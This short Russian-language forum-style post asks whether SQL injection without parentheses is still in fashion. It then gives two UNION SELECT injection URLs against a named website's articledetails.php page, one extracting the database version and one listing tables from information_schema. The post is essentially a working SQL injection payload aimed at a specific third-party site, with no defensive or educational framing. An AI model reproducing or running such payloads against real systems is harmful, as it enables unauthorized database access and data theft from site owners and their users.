А что, без скобок уже скули не модно крутить?

http://www.steadygroup.com/articledetails.php?id=-314%20UNION%20SELECT%201,@@version,3,4,5,6,7,8,9,1 0,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26, 27,28--

http://www.steadygroup.com/articledetails.php?id=-314%20UNION%20SELECT%201,table_name,3,4,5,6,7,8,9, 10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 ,27,28+from+information_schema.tables--